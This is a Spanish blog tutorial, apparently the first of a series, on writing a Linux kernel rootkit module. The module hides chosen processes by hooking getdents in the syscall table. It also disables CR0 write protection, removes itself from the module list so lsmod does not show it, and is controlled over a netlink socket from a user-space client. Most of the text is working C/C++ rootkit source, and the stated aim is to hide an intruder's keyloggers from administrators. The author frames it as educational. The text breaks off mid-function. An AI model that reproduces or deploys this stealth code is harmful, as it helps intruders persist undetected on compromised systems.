12 abril 2012

Troyanos en Linux (I.- Ocultando procesos)

Como dije en un artículo anterior vamos a ver en la práctica algunas de las técnicas utilizadas para implementar rootkits. Hay que tener en cuenta que cuando un intruso que instala un rootkit ya cuenta con permisos de administrador pero lo hace para asegurarse de que el uso que vaya a hacer de dichos permisos pase inadvertido y, de esa manera, pueda prolongarse en el tiempo. El propósito del rootkit será por tanto proteger las actividades del intruso para que este pueda robar datos o utilizar la máquina asaltada sin que el administrador se de cuenta de ello.

Una de las principales funciones que suelen implementar todos los rootkits es la de la ocultación de procesos. Si el intruso deja ejecutándose un keylogger en el segundo plano de la máquina asaltada lo último que quiere es que el administrador pueda detectar este keylogger en el próximo "ps ax" que haga. Para evitarlo vamos a ver cómo funciona internamente dicho comando y vamos a programar un módulo de kernel que interfiera en su funcionamiento de manera que dicho comando devuelva información de todos los procesos menos de aquellos que le digamos nosotros.

Si miramos en el código fuente del comando ps (para bajar el código fuente de un comando de Linux eche un vistazo a un artículo mío anterior) veremos que ese comando examina el contenido del directorio /proc y saca la información que le muestra al usuario de cada uno de sus subdirectorios. El directorio /proc es donde el kernel vuelca en tiempo real la información que tiene acerca de los procesos que corren en el sistema. Cada uno de sus subdirectorios tiene nombre de número, el cual corresponde con el número de proceso de todos los procesos que se ejecutan en ese momento en el sistema. Explorando cualquiera de los subdirectorios con nombre de número del directorio /proc veremos que cada uno cuenta con varios ficheros en los que se encuentra toda la información relativa al proceso. Por ejemplo, si hacemos un "cat" sobre el fichero cmdline veremos que cuenta con la línea de comandos con sus opciones que se utilizó para arrancar ese proceso en concreto. Si pudieramos hacer que todos los comandos que consultasen el directorio /proc se "saltasen" el subdirectorio correspondiente al proceso que queremos ocultar lo haríamos virtualmente invisible. Cualquier intento de borrar el subdirectorio en cuestión resultaría infructuoso ya que el sistema denegaría el permiso aunque intentásemos ejecutar el borrado como "sudo".

Visto lo anterior vamos a ver cómo podemos hacer para que los programas que quieran consultar el directorio /proc se salten el subdirectorio referente al proceso que queremos ocultar. Si examinamos las llamadas al sistema que realiza "ps ax" veremos lo siguiente:

dante@Winterfell:~$ strace ps ax execve("/bin/ps", ["ps", "-ax"], [/* 18 vars */]) = 0 brk(0)                                  = 0x8e5e000 access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b4000 access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY)      = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=57336, ...}) = 0 mmap2(NULL, 57336, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78a6000 close(3)                                = 0 access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory) open("/lib/libproc-3.2.8.so", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240$\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=59108, ...}) = 0 mmap2(NULL, 136600, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7cc000 mmap2(0x7da000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xd) = 0x7da000 mmap2(0x7dc000, 71064, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7dc000 close(3)                                = 0 access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 [...] open("/proc/version", O_RDONLY)         = 3 fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b3000 read(3, "Linux version 2.6.38-11-generic "..., 1024) = 147 close(3)                                = 0 munmap(0xb78b3000, 4096)                = 0 open("/proc/stat", O_RDONLY|O_CLOEXEC)  = 3 read(3, "cpu  147708 472754 89278 1376027"..., 8192) = 793 close(3) [...]   open("/proc", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|O_CLOEXEC) = 5 fcntl64(5, F_GETFD)                     = 0x1 (flags FD_CLOEXEC) getdents(5, /* 196 entries */, 32768)   = 3408 stat64("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open("/proc/1/stat", O_RDONLY)          = 6 read(6, "1 (init) S 0 1 1 0 -1 4202752 70"..., 1023) = 158 close(6)                                = 0 open("/proc/1/status", O_RDONLY)        = 6 read(6, "Name:\tinit\nState:\tS (sleeping)\nT"..., 1023) = 711 close(6)                                = 0 open("/proc/1/cmdline", O_RDONLY)       = 6 read(6, "/sbin/init", 2047)             = 10 close(6)                               [...]              


Se puede ver que en el primer bloque de llamada ps carga las librerías del sistema de las que hace uso, entre ellas libc.so.6. En el segundo bloque de llamadas ya empieza a consultar al directorio /proc. En concreto mira en los ficheros version y stat, los cuales le facilitan la version de de sistema operativo y kernel que se está utilizando, así como datos soble el uso de la cpu y del conjunto de los procesos que se están ejecutando. El siguiente bloque es mucho más revelador ya que se puede ver cómo se abre el directorio proc y se ejecuta getdents sobre él. La llamada al sistema getdents es precisamente la que permite listar el contenido de un directorio. A partir de dicha llamada, y con los resultados de la misma, es cuando se empiezan a abrir uno a uno los subdirectorios de /proc para examinar su contenido (se puede ver por ejemplo que el proceso con ID 1 corresponde a /sbin/init). Como las llamadas a sistema se realizan al kernel  mismo tendremos que interceptar allí la llamada a getdents y asegurarnos de que en el listado devuelto no conste el subdirectorio del proceso que queremos ocultar. Para ello lo que haremos será sustituir la función getdents por otra que realice el correspondiente filtrado. Esta sustitución de una función de sistema es lo que en la literatura inglesa sobre seguridad se denomina hooking o hijacking.

En los kernel 2.4, el hooking de las llamadas a sistema era realmente sencillo:



extern void *sys_call_table[];
[...]
asmlinkage int (*original_getdents)(unsigned int fd, 
                struct linux_dirent *dirp,
                unsigned int count);


asmlinkage int new_getdents(unsigned int fd, 
                    struct linux_dirent *dirp_fake,
                    unsigned int count)
{
    /* pseudocodigo */
    resultado_sin_filtrar = original_getdents();
    resultado_filtrado = filtra_procesos_ocultos(resultado);
    devuelve resultado_filtrado;
    /* fin pseudocódigo */
}
[...]
original_getdents = (void *)syscall_table[__NR_getdents];
sys_call_table[__NR_getdents] = new_getdents;

Como en C los nombres de función son en realidad punteros a dicha función no había más que definir una función, por ejemplo new_getdents, y asignarla al array de llamadas al sistema sustituyendo a la original. Observe también que guardamos la dirección de la función original, tanto para poder utilizarla desde dentro de la función nueva como para restaurar la tabla de llamadas al sistema a su estado original una vez finalizado el ataque.

El problema es que a partir del kernel 2.6 la API del kernel dejó de exportar el array de llamadas al sistema por lo que en un código como el anterior el puntero *sys_call_table[] quedaría sin definir. La cuestión es que dicho array sigue existiendo dentro de la memoria del kernel pero lo que pasa es que su dirección ya no se hace pública para que la usemos en nuestros punteros mediante "extern void *sys_call_table[]". Aún así existe un pequeño truco para obtener la dirección de este array, porque en el fichero /boot/System.mapXXXX (donde XXXX es la versión de kernel que estemos utilizando) se almacenan las direcciones de todos los símbolos utilizados por el sistema. Como el array que buscamos no es sino un símbolo más podemos buscar dentro de ese fichero su dirección:

dante@Winterfell:~$ sudo grep sys_call_table /boot/System.map-$(uname -r) c1513160 R sys_call_table dante@Winterfell:~$


Gracias a la orden anterior, podemos ver que la dirección de del array de llamadas al sistema es: c1513160 (en hexadecimal). Esta dirección podríamos usarla para apuntar nuestro puntero:


unsigned long long *syscall_table;
syscall_table = (unsigned long *) 0xc1513260;
syscall_table[__NR_getdents] = new_getdents;


El problema es que estas direcciones varían de un equipo a otro por lo que deberemos programar una función que examine automáticamente el archivo /boot/System.map en busca de la dirección concreta del array de llamadas al sistema en ese equipo. Esto no supone mayor complejidad ya que implica leer y analizar dos ficheros de texto: /proc/version, que sirve para averiguar la versión concreta de kernel que se está utilizando, y /boot/System.mapXXXX (donde XXXX es la versión que hemos obtenido del análisis de /proc/version). Como son dos funciones muy sencillas no las mostraré aquí aunque se pueden consultar en el fichero stealthproc.c (funciones: get_kernel_version y get_syscall_table_address). La mayor dificultad que tiene la programación de estas dos funciones es acostumbrarse a utilizar el subconjunto limitado de funciones de tratamiento de cadenas y ficheros que ofrece la API del kernel. Por cierto, los puristas de la programación del kernel consideran una aberración leer ficheros de sistemas desde el kernel pero vamos a hacer caso omiso de ellos, al fin y al cabo tampoco suelen estar de acuerdo con la programación de rootkits... (Para seguir el resto del artículo le recomiendo que descargue el código fuente del rootkit).

Aún así, puede ocurrir que no podamos hacer lo anterior con tanta facilidad. Algunas CPU cuentan con registros que, cuando se encuentran activados, limitan la escritura en las posiciones de memoria en las que se encuentra el array de llamadas al sistema. Para saber si la del sistema objetivo es una de ellas tenemos que ver el contenido del fichero /proc/cpuinfo:

dante@Winterfell:~$ cat /proc/cpuinfo processor       : 0 vendor_id       : GenuineIntel cpu family      : 6 model           : 42 model name      : Intel(R) Core(TM) i7-2760QM CPU @ 2.40GHz stepping        : 7 cpu MHz         : 2371.743 cache size      : 6144 KB fdiv_bug        : no hlt_bug         : no f00f_bug        : no coma_bug        : no fpu             : yes fpu_exception   : yes cpuid level     : 5 wp              : yes flags           : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc up pni monitor ssse3 lahf_lm bogomips        : 4743.48 clflush size    : 64 cache_alignment : 64 address sizes   : 36 bits physical, 48 bits virtual power management: dante@Winterfell:~$



El hecho de que diga "wp: yes" implica que esta CPU facilita este tipo de protección. Para desactivarla tendremos que modificar el contenido del registro CR0 del procesador. El bit WP que controla la protección contra la escritura en las páginas de memoria marcadas como de sólo lectura es el bit 16 por lo que para ponerlo a 0 haremos:

write_cr0 (read_cr0 () & (~ 0x10000));


No hay que olvidar que una vez hecha la modificación del array de llamadas al sistema hay que volver a poner el registro como estaba para no levantar sospechas:

write_cr0 (read_cr0 () | (0x10000));


Para poner todo esto en un módulo de kernel tendremos que ajustarnos al formato definido que tienen los mismos:

#include 
#include 
#include 

/*
 * KERNEL MODULE MAIN.
 * 
 */
static int myinit(void)
{
 
}

static int myexit(void)
{

}


module_init(myinit);
module_exit(myexit);


MODULE_LICENSE("GPL"); /* We dont want to taint kernel. */
MODULE_AUTHOR("Dante Signal31 ");
MODULE_DESCRIPTION("Kernel module to hide processes from ps, /
                   top, etc commands. Programmed for /
educational purpuses. This module /
                   can crash your system, don't try
                   it on real systems, only on virtual /
                   ones with a backup snapshot taken!!!");


Resulta obvio decir que "my_init" es la función que se ejecuta al cargar el módulo con insmod, mientras que "my_exit" es la que se ejecuta al ejecutar rmmod sobre el módulo. En realidad podemos llamar a dichas funciones como queremos mientras que luegos las asignemos mediante "module_init" y "module_exit". Es importante destacar la cláusula MODULE_LICENSE, si no la fijamos en GPL es muy probable que el kernel deniegue el intento de carga del módulo alegando que que no quiere verse "manchado" (tainted) por un módulo que no cumple la GPL. El resto de los parámetros MODULE sirve para fijar la información mostrada al ejecutar modinfo sobre el módulo. Por supuesto, estas son las funciones básicas que puede tener un módulo pero nosotros podemos añadir, como de hecho haremos, nuestras propias funciones.

Teniendo en cuenta todo lo anterior, nuestra función "init" tendrá este aspecto:

/*
 * KERNEL MODULE MAIN.
 * 
 */
static int myinit(void)
{
  MODULE_PARM_DESC(stealth_mode, "If true makes disappear
                   this module from lsmod list and outputs /
                   no log.");
  int i;
  memset(pids_to_hide_initial_value, '\0', 
PIDS_STRING_MAX_LENGTH);
  for (i=0; i < PIDS_TO_HIDE_MAX_BUFFER_SIZE; i++)
    memcpy(pids_to_hide[i], pids_to_hide_initial_value, 
PIDS_STRING_MAX_LENGTH);
  if (stealth_mode)
    hide_module();
  cr0_protection = is_cr0_protected();
  syscall_table = (unsigned long *)get_syscall_table_address();
  if (cr0_protection)
    /* Disable CR0 protection unsetting its 16 bit, 
     * as you can see at:
     * http://en.wikipedia.org/wiki/Control_register#CR0
     */
    write_cr0 (read_cr0 () & (~ 0x10000));
  original_getdents = (void *)syscall_table[__NR_getdents];
  syscall_table[__NR_getdents] = new_getdents; 
  /* Before going out we restore system to its former status
   * resetting CR0 protection if it was formerly.
   */
  if (cr0_protection)
    write_cr0 (read_cr0 () | (0x10000));
  /* Now, it's time to open our netlink socket to listen for 
   * outer commands.
   */
  printk("STEALTHPROC: Creating netlink socket...\n");
  nl_sk = netlink_kernel_create(&init_net, 
NETLINK_STEALTHPROC, 
                                0, receive_command, 
NULL, THIS_MODULE);
  if (nl_sk == NULL)
  {
    printk("STEALTHPROC: Error creating listener netlink /
           socket.\n");
    return -10;
  } 
  else
    printk("STEALTHPROC: Netlink socket created.\n");
  return 0;
}


Las llamadas a "printk" son llamadas de depuración y sirven para volcar en /var/log/syslog la cadena que se le introduzca. La sentencia MODULE_PARAM_DESC sirve para pasarle parámetros al módulo durante la carga con insmod. Por ejemplo, supongamos la carga se hiciese de la siguiente manera

dante@Winterfell:~$ sudo insmod ./stealthproc.ko stealth_mode=1


En ese caso la variable stealth_mode tendría cargada el valor 1. El módulo cuenta con un array ("pids_to_hide") en el que se guardará la lista de los ID de los procesos que queremos ocultar. Por lo tanto, este módulo será capaz de ocultar hasta PIDS_TO_HIDE_MAX_BUFFER_SIZE procesos. Este array debe ser inicializado mediante llenándolo con "\0" para limpiar el contenido anterior de esas posiciones de memoria. En caso de que el módulo se cargue con la variable stealth_mode a 1 se llama a "hide_module()" que se encarga de hacer desaparecer a este módulo de la lista de módulos cargados de manera que no aparezca en la lista que se obtiene al hacer un lsmod. La lista de módulos cargados es una mera lista doblemente enlazada compuesta por nodos cada uno de los cuales con apuntadores al nodo posterior y anterior. Cada uno de esos nodos guarda la información referente a los módulos cargados en memoria. La función "hide_module()" lo que hace es sacar el módulo que queremos ocultar de la lista enlazada:

static struct list_head *original_modules_list_entry;
[...]
/* 
 * Modules list is just a linked list of struct.
 * Each module is encoded in one of those structs.
 * If we want to hide a module we just have to take
 * out its corresponding struct from linked list.
 */
int hide_module(void)
{
    /*
     * Take an snapshot of modules list state to 
     * restore it when we
     * want unhide this module.
     */
     original_modules_list_entry = kmalloc(
                                   sizeof(struct list_head), 
GFP_KERNEL);
     memcpy(original_modules_list_entry,
&__this_module.list, 
            sizeof(struct list_head));
    /* 
     * Now hide this module from module list. 
     */
    list_del_init(&__this_module.list);
    return 0;
}

Observe que guardamos el nodo original en una variable global llamada "original_modules_list_entry" por si queremos restaurar la lista de módulos a su estado original. La llamada a la llamada list_del_init() que es la que saca al nodo de la lista:

static inline void list_del_init (
                   struct list_head * entry)
{
 __list_del (entry->prev, entry->next);
 INIT_LIST_HEAD (entry);
}

static inline void __list_del (
                   struct list_head * prev, 
                   struct list_head * next)
{
     next-> prev = prev;
     prev-> next = next;
}

static inline void INIT_LIST_HEAD (
                   struct list_head * list)
{
     list-> next = list;
     list-> prev = list;
}

Una vez hecho esto, nuestro módulo dejará de salir el los listados que pueda obtener el administrador ejecutando el comando lsmod. Si por el contrario, lo que queremos es que el módulo vuelva a aparecer en dichas listas llamaremos a la función "unhide_module()" que se encargará de volver a insertar el nodo del módulo en la lista enlazada:

/*
 * Makes this module visible again.
 */
int unhide_module(void)
{
  /*
   * Reinsert this module in main modules list.
   */
  original_modules_list_entry->prev->next = &__this_module.list;
  original_modules_list_entry->next->prev = &__this_module.list;
  __this_module.list.next = original_modules_list_entry->next;
  __this_module.list.prev = original_modules_list_entry->prev;
  kfree(original_modules_list_entry);
  return 0;
}

Volviendo a la explicación de la función "myinit" allí donde la dejamos veremos que se hace una llamada "is_cr0_protected()", la cual es una función que lee el fichero /proc/cpuinfo para ver si la CPU local tiene protegida contra escritura mediante el registro CR0 las páginas de memoria en las que se encuentra el array de llamadas al sistema. No la incluyo aquí porque es una mera función de parseo de un fichero textual pero quien quiera puede consultar su implementación en el fichero "stealthproc.c".

Luego se llama a la función "get_syscall_table_address()", que es la que devuelve la posición de memoria del array de llamadas al sistema. Para ello utiliza la técnica mencionada al principio del artículo leyendo primero el fichero /proc/version para obtener la versión del kernel en ejecución y luego el mapa de símbolos del sistema /boot/System.map.XXXX para obtener la dirección del array de llamadas al sistema. Como en el caso de "is_cr0_protected()", esta función es al 100% una mera función de parseo de ficheros textuales por lo que para evitar alargar en exceso el artículo remito al lector a la lectura del contenido de las funciones en el código fuente que acompaña a este artículo.

Las siguientes líneas de la función myinit son ya conocidas porque utilizan las técnicas ya explicadas para desactivar la protección por CR0 y reescribir la tabla de llamadas al sistema para que cuando se ejecute "getdents" en realidad se llame a "new_getdents".

La función "new_getdents" tiene el siguiente aspecto:

asmlinkage int new_getdents(unsigned int fd, 
                    struct linux_dirent *dirp_fake,
                    unsigned int count) 
{
    int nread, nread_fake;
    unsigned int bpos, bpos_fake;
    struct linux_dirent * d;
    char * d_fake;
    
    nread = 0;
    if (pids_to_hide_size() == 0)
    {
      printk("STEALTHPROC: pids_to_hide list is empty,/
             so returning original getdents.\n");
      return (*original_getdents)(fd, dirp_fake, count);
    }
    else
      nread = (*original_getdents)(fd, dirp_fake, count);
   
    bpos_fake = 0;

    d = (struct linux_dirent *) dirp_fake;

    bool found = false;
    
    for (bpos = 0; bpos < nread;) 
    {
      /*
       * If I dont cast dirp_fake to unsigned int when I 
       * add bpos to dirp_fake pointer I dont add bpos 
       * bytes thought bpos+sizeof(linux_dirent) instead
       * because we would be in pointer arithmetic land.
       */
      unsigned int new_address = ((unsigned int)dirp_fake)+bpos;
      d = (struct linux_dirent *) new_address;
      /* 
       * With d_fake I dont need to do a cast to unsigned int
       * because buf_fake is an array of char an each one of 
       * them is of size 1.
       */
      d_fake = buf_fake + bpos_fake;
      int i; 

      for (i=0; i < PIDS_TO_HIDE_MAX_BUFFER_SIZE; i++)
      { 
          if (memcmp(pids_to_hide[i], 
pids_to_hide_initial_value,
                     PIDS_STRING_MAX_LENGTH) == 0)
          {
              /* If pids_to_hide is empty just skip.*/
              continue;
          }
          if (strcmp(d->d_name, pids_to_hide[i]) == 0)
          {
              printk("STEALTHPROC: Found process entry: %s /
                     registered as process to hide: %s.\n", 
d->d_name, pids_to_hide[i]);
              found = true;
              break;
          }
      }
      /*
       * If this process entry was not found in pids_to_hide
       * we copy it in our returned list. If it was found we 
       * just skip it to not to include it in our returned 
       * list.
       */
      if (!found)
      {
          memcpy(d_fake, d, d->d_reclen);
          bpos_fake += d->d_reclen;
      }
      else
          found = false;
      bpos += d->d_reclen;
      
    }
    nread_fake = bpos_fake;
    /*
     * I tried to do:
     *   "dirp_fake = buf_fake;"
     * but it didnt worked because I guess dirp_fake cannot
     * be repointed so I've had to replace it's content with 
     * our faked one with a memcpy. But first I have to zero 
     * dirp_fake memory zone.
     */
    memset(dirp_fake, '\0', count);
    memcpy(dirp_fake, buf_fake, sizeof(buf_fake));
    printk("STEALTHPROC: Returning from faked getdents.\n");
    return nread_fake;
}


La cláusula "asmlinkage" con la que se marca la función es común a todas las funciones de la tabla de llamadas al sistema. Esta cláusula le dice al compilador que los argumentos de la función no están en los registros habituales sino en la pila de la CPU. Como podemos ver por las primeras líneas de la función, si la lista de procesos a ocultar (pids_to_hide) está vacía, esta función se limita a devolver el resultado de la original. En caso contrario, se llama a la función original con la intención de filtrar su resultado antes de devolverlo. La función getdents crea una sucesión de nodos del tipo "linux_dirent" en una zona de memoria apuntada por "dirp_fake". El número de nodos depositados en dicha zona de memoria se devuelve como un entero y nosotros lo hemos conservado en la variable "nread". Para recorrer la zona de memoria creamos un puntero "d" que inicialmente apunta donde "dirp_fake" pero que iremos avanzando conforme vayamos leyendo nodos "linux_dirent". Ahora viene una de las cosas más difíciles de entender (y de explicar) y a la que yo he llegado tras pelearme mucho con el código: "dirp_fake" no puede ser reapuntado, de alguna manera el sistema decide en qué zona de memoria va a ir el resultado de la función y fija el puntero "dirp_fake" por lo que no podremos crear una zona de memoria alternativa sin los nodos que queremos ocultar y resignar el puntero "dirp_fake" para que apunte a esa zona de memoria. En vez de eso reservamos una zona de memoria alternativa ("buf_fake") con capacidad para guardar hasta BUF_SIZE bytes, a esa zona de memoria vamos copiando todos los nodos linux_dirent que vayamos leyendo siempre y cuando el nombre de la entrada a la que haga referencia no sea uno de los ID de proceso que queremos ocultar (recuerde que los subdirectorios en /var/proc tienen como nombre el número de proceso al que hacen referencia). Tras leer toda la lista devuelta por el getdents original borramos toda la zona de memoria apuntada por "dirp_fake" y copiamos en ella la lista manipulada (buf_fake).

Con lo anterior ya queda explicado cómo podemos ocultar procesos pero no cómo decirle al módulo qué procesos ocultar. Con lo que hemos visto hasta ahora o pasamos los números de proceso como parámetro al cargar el módulo o los incluimos en el código fuente antes de compilar. Obviamente ninguna de las opciones es viable. Necesitamos un mecanismo para decirle al módulo en tiempo real qué procesos ocultar y cuales ya no es necesario seguir escondiendo. Afortunadamente contamos con los socket netlink los cuales permiten establecer canales de comunicación entre el espacio de usuario y los módulos similares a los sockets de red . Si volvemos al código fuente de la función "myinit" veremos que hay una llamada a "netlink_kernel_create" la cual pone a la escucha un socket netlink otorgándole un número identificativo (NETLINK_STEALTHPROC) y asígnándole la función "receive_command" como función de callback para procesar todos los mensajes que lleguen a través de dicho socket. Esta función de callback tendría el siguiente aspecto:

/* 
 * If it doesnt run try to made the function static.
 * 
 * This is a callback funtion used when received a 
 * netlink message from user space. This message 
 * should carry commands to this module so 
 * receive_command is meant to call the correct 
 * function for each command.
 */
void receive_command(struct sk_buff *skb)
{
  struct nlmsghdr *nlh;
//   memset(nlh, 0, sizeof(struct nlmsghdr));
  struct sk_buff *skb_out;
//   memset(skb_out, 0, sizeof(struct sk_buff));
  int pid = 0;
  int result = -1;
  char *msg_to_process = NULL;
  char msg_OK[] = "OK";
  int msg_OK_size = strlen(msg_OK);
  __u16 msg_OK_type = NLMSG_DONE;
  char msg_FAIL[] = "FAIL";
  int msg_FAIL_size = strlen(msg_FAIL);
  __u16 msg_FAIL_type = NLMSG_ERROR;
  __u16 msg_to_process_type = 0;
  __u32 process_pid = 0;
  int msg_to_process_size = 0;
  char *command_received = NULL;
  char *command = NULL;
  char *parameter = NULL;
  char *find_char = NULL;
  
  nlh = (struct nlmsghdr *)skb->data;
  printk("STEALTHPROC: Received message with next /
         data: %s.\n", (char *) nlmsg_data(nlh));
  printk("STEALTHPROC: data_len: %d nlmsg_len: %d /
          and strlen: %d.\n", skb->data_len, 
nlmsg_len(nlh), 
strlen((char *) nlmsg_data(nlh)));

  command_received = kmalloc(strlen((char *)
 nlmsg_data(nlh))+1,
GFP_KERNEL);
  memset(command_received,'\0',
strlen((char *) nlmsg_data(nlh))+1);
  memcpy(command_received, 
(char *)nlmsg_data(nlh), 
strlen((char *) nlmsg_data(nlh)));
  printk("STEALTHPROC: Command received is %s.\n", 
command_received);
  
  printk("STEALTHPROC: Sender has pid: %d.\n", 
nlh-> nlmsg_pid);
  process_pid = nlh-> nlmsg_pid; 

  /* 
   * Command has parameters?
   */
  find_char = (char *) memchr(command_received, 
              '#', strlen(command_received));
  if (find_char == NULL) 
  {
      command = command_received;
      printk("STEALTHPROC: Command has no /
             parameters.\n");
  }
  else
  {
      /*
       * I know strsep changes command_received
       * each time is called but as I'm not 
       * going to use it anymore I have not to
       * make a string copy with kstrdup.
       */
      command = strsep(&command_received, "#");
      printk("STEALTHPROC: Normalized command is: /
              %s\n", command);
      parameter = strsep(&command_received, "#");
      printk("STEALTHPROC: Command has parameters: /
             %s\n", parameter);
  }
  if (strcmp(command, "registerproc") == 0)
    result = register_pid((unsigned long long) 
simple_strtoull(parameter, 
NULL, 10));
  else if (strcmp(command, "unregisterproc") == 0)
    result = unregister_pid((unsigned long long) 
simple_strtoull(parameter, 
NULL, 10));
  else if (strcmp(command, "unhide") == 0)
    result = unhide_module();
  else if (strcmp(command, "hide") == 0)
      result = hide_module();
  else
    printk("STEALTHPROC: Command not recognized. /
            Nothing done.\n");
  
  if (result == 0)
  {
    msg_to_process_size = msg_OK_size;
    msg_to_process = msg_OK;
    msg_to_process_type = msg_OK_type;
  } 
  else
  {
    msg_to_process_size = msg_FAIL_size;
    msg_to_process = msg_FAIL;
    msg_to_process_type = msg_FAIL_type;
  }
  
  skb_out = nlmsg_new(msg_to_process_size, 0);
  if (!skb_out)
    printk("STEALTHPROC: Something went wrong at /
           skb_out allocation.\n");
  else
    printk("STEALTHPROC: skb_out allocated correctly.\n");
  nlh = nlmsg_put(skb_out, 0, 0, msg_to_process_type, 
msg_to_process_size, 0); 
                  // struct sk_buff, u32 pid, u32 seq, 
                  // int type, int payload, int flags.


  NETLINK_CB(skb_out).dst_group = 0; // Not in multicast group.
  strncpy(nlmsg_data(nlh), msg_to_process, msg_to_process_size);
  
  result = nlmsg_unicast(nl_sk, skb_out, process_pid);
  if (result < 0)
    printk("STEALTHPROC: Error while sending back message /
           to process.\n");
  else
    printk("STEALTHPROC: Message sent back to process.\n");

}

La función es larga porque tiene que procesar las diferentes cadenas de texto que le lleguen para obtener los comandos y sus parámetros. El módulo por ahora reconoce cuatro comandos:

  • Registerproc: con el formato "registerproc#pid" sirve para introducir un nuevo pid en la lista de procesos a ocultar.
  • Unregisterproc: con el formato "registerproc#pid" hace todo lo contrario que el anterior sacando un pid de la lista por lo que a partir de ahí volverá a aparecer en la lista de procesos activos.
  • Hide: no tiene parámetros por lo que el comando es simplemente "hide", le de la orden al módulo de ocultarse para que no aparecerá en el listado de los lsmod.
  • Unhide: tampoco tiene parámetros por o que el comando es "unhide", le dice al módulo que se muestre en los listados de lsmod.
Observe como, una vez procesado el mensaje, se prepara una respuesta dirigida al espacio de usuario para avisar de cómo ha ido la ejecución del comando. El paquete de respuesta se crea con la orden "nlmsg_put", se le introduce el mensaje mediante la orden "strncpy" y finalmente se envía con "nlmsg_unicast" poniendo como destinatario el pid del proceso al que le enviemos la respuesta.

¿Cómo se usan los sockets netlink desde el lado del espacio de usuario?. He concentrado las funciones para comunicarse con los módulos de kernel en la librería "stealth.cpp" presente en el código fuente que acompaña este artículo. En esa librería podemos ver que por ejemplo para el registro de un proceso en el rootkit hacemos:

/*
 * This function keeps an array of netlink sockets with
 * every rootkit module to register this process at them
 * so this program is properly hidden.
 */
int register_proc_in_rootkit(int requesting_pid, 
                             int requested_pid, 
map<int, string> &error_messages,
                             int module_code=
modules_codes["all"])
{
    int error = 0;
    error_messages.clear();
    stringstream sstm;
    sstm << "registerproc" << "#" << 
my_itoa(requested_pid);
    string message = sstm.str();
    if (module_code == modules_codes["all"])
    {
        map int>::const_iterator iter;
        for (iter=modules_codes.begin(); 
iter!=modules_codes.end(); iter++)
        {
            string error_message = "";
            if (iter->first == "all") continue;
            else
            {
                /* 
                 * Actually you cannot register in every 
                 * module because only some of them are proc 
                 * aware while the rest deals with dir and 
                 * files, root access, etc.
                 * So we have to register only in modules 
                 * that are present in compatible with
                 * procs modules list.
                 */
                for (int i=0; i < (sizeof(proc_compatible_modules) 
sizeof(string)); i++)
                {
                    if (proc_compatible_modules[i] == 
iter-> first)
                    {
                        int result;
                        result = send_netlink_message(
requesting_pid, 
message, 
error_message, 
iter-> second);
                        if (result != 0)
                        {
                            error = 1;
                            error_messages[iter-> second] = 
error_message;
                        }
                        break;
                    }
                }
            }
        }
    }
    else
    {
        string error_message = "";
        int result = send_netlink_message(requesting_pid, 
message, 
                                          error_message, 
module_code);
        if (result != 0)
            error = 1;
            error_messages[module_code] = error_message;
    }
  return error;
}


Esta función está prevista para que un proceso se pueda registrar en varios módulos del rootkit. Ya que puede que haya varios que se ocupen de procesos (uno para ocultarlos de los listados de procesos, otro para ocultar sus conexiones de red entrantes y salientes, etc). Esa es la razón de la existencia de las variables "modules_codes" y "proc_compatible_modules". Aparte de eso y en lo que concierne a la manipulación de mensajes netlink, la función más importante es "send_netlink_message", cuya implementación es la siguiente:

int send_netlink_message(int pid, string message, 
string &error_message, 
                         int module_code)
{  
  struct sockaddr_nl src_addr, dest_addr;
  memset(&src_addr, 0, sizeof(src_addr));
  memset(&dest_addr, 0, sizeof(dest_addr));
  /* 
   * Be aware be use at module_code one the same 
   * values than in netlink_kernel_create in module
   * source code. Thats the way to be sure we are 
   * sending messages to correct module throught
   * netlink.
   */
  int sock_fd = socket(PF_NETLINK, SOCK_DGRAM, 
module_code);
  if (sock_fd < 0)
    print("We didnt get a socket");
  else
    print("Socket properly got");
  struct nlmsghdr *nlh = (struct nlmsghdr *)
                          malloc 
((NLMSG_SPACE(MAX_PAYLOAD)));
  memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
  /* 
   * The iovec structure describes a buffer. 
   * It contains two fields: void * iov_vbase: 
   * Contains the address of a buffer.
   * size_t iov_len: Contains the length of 
   * the buffer.
   */
  struct iovec iov; 
  memset(&iov,0,sizeof(iov));
  struct msghdr msg;
  memset(&msg,0,sizeof(msg)); /* If you dont 
  * zero this var it might happen an ENOBUFS
  * error (no buffer space available) 
  */
  char msg_OK[] = "OK";
  char msg_FAIL[] = "FAIL";
  
  src_addr.nl_family = AF_NETLINK;
  src_addr.nl_pid = pid;
  dest_addr.nl_family = AF_NETLINK;
  dest_addr.nl_pid = 0; /* This sets kernel as
                           destination. */
  dest_addr.nl_groups = 0; /* This sets unicast 
                              as our mode. */ 
  /* 
   * In netlink sockets, userland program must 
   * do a bind althought it is sending end. It 
   * looks like in netlink sockets there is no 
   * place for ip-sockets connect() 
   * function.
   */
  bind(sock_fd, (struct sockaddr *) &src_addr, 
                 sizeof(src_addr));
  
